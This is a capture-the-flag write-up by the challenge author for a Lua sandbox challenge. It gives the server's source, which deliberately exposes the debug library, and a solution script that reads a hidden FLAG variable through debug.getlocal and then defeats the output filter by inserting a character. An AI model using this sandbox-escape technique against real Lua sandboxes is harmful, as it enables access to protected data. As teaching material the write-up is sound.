Lua Sandboxing
This is a challenge that I have created for the Cybernight 2025 CTF competition, under the "Programming" category.
In this challenge, the player was provided with the Lua server source code, that you can find here :
local socket = require("socket")
local server = assert(socket.bind("*", 23456))
print("Server running on port 23456")
local _, FLAG = pcall(function()
return ''
end)
local safe_env = {
tonumber = tonumber,
tostring = tostring,
type = type,
pairs = pairs,
debug = debug,
ipairs = ipairs,
math = math,
FLAG = nil
}
while true do
local client = server:accept()
client:send("Bienvenue dans votre Sandbox Lua !\n")
while true do
client:send("> ")
local user_code = client:receive("*l")
if not user_code or user_code == "exit" then
client:send("Au revoir !\n")
break
end
local f, load_err = load(user_code, "user_code", "t", safe_env)
if not f then
client:send("Erreur : " .. load_err .. "\n")
else
local success, result = pcall(f)
print(result)
if success then
if not result then
client:send("La fonction n'a pas retourné de valeur.\n")
elseif type(result) ~= "string" then
client:send("La sortie n'est pas une chaîne de caractères.\n")
elseif string.find(result, FLAG) then
client:send("Flag détecté, vous n'êtes pas autorisé à le lire.\n")
else
client:send("=> " .. tostring(result) .. "\n")
end
else
client:send("Erreur d'exécution : " .. tostring(result) .. "\n")
end
end
end
client:close()
end
The main goal for the player was to retrieve the FLAG value despite the sandboxing measures in place. The sandbox environment only allowed a limited set of functions and libraries, preventing direct access to the FLAG variable. Also, the code checked if the returned value contained the FLAG string and blocked it if so.
Here is my solution to bypass these restrictions and retrieve the FLAG :
local i = 1
while true do
-- get local variable name and value from stack level 3
-- learn more here https://www.lua.org/pil/23.1.1.html
local name, value = debug.getlocal(3, i)
-- if no more variables, break the loop (shouldn't happen, but just in case)
if not name then break end
-- check if the current variable is the FLAG
if name == "FLAG" then
flag = value
break
end
i = i + 1
end
-- if the flag was found
if flag then
-- Bypass the filter: split the flag string with a '!'
-- Example: CYBN{...} becomes C!YBN{...}
return flag:sub(1, 1) .. '!' .. flag:sub(2)
else
return nil
end
And in oneliner to send to the server :
local flag = nil; local i = 1; while true do; local name, value = debug.getlocal(3, i); if not name then break end; if name == "FLAG" then; flag = value; break end; i = i + 1; end; if flag then return flag:sub(1, 1) .. '!' .. flag:sub(2); else return nil end
The server receives the modified flag (e.g., C!YBN{...}), the string.find(result, FLAG) check fails because the full FLAG is not a substring, and the result is printed to the client.
The player simply needs to remove the inserted character (!) to reconstruct the final flag.
N.B. : Another way to achieve the same result would be to convert the flag in base64 or hex, thus avoiding the substring check as well.